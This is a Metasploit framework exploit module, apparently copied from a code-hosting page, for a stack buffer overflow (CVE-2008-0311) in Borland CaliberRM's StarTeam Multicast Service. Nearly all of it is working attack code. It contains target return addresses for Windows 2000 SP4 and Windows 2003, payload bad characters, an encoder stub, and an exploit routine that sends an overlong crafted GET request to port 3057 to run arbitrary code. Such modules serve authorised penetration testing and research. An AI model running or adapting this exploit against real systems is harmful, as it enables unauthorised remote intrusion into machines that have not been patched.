Path: blob/master/modules/exploits/windows/misc/borland_starteam.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Borland CaliberRM StarTeam Multicast Service Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Borland CaliberRM 2006. By sending17a specially crafted GET request to the STMulticastService, an attacker may be18able to execute arbitrary code.19},20'Author' => 'MC',21'References' => [22[ 'CVE', '2008-0311' ],23[ 'OSVDB', '44039' ],24[ 'BID', '28602' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'process',28},29'Payload' => {30'Space' => 600,31'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",32'StackAdjustment' => -3500,33'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",34},35'Platform' => 'win',36'Targets' => [37[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c5729db } ],38[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],39],40'Privileged' => true,41'DefaultTarget' => 0,42'DisclosureDate' => '2008-04-02',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(3057)])52end5354def exploit55# inline payloads work best!56sploit = rand_text_english(511) + "\x00" + rand_text_english(1020)57sploit << [target.ret].pack('V') + "@" * 156 # <- :(58sploit << payload.encoded + rand_text_english(rand(100) + 1)5960print_status("Trying target #{target.name}...")6162send_request_raw({ 'uri' => sploit, }, 5)6364handler65disconnect66end67end686970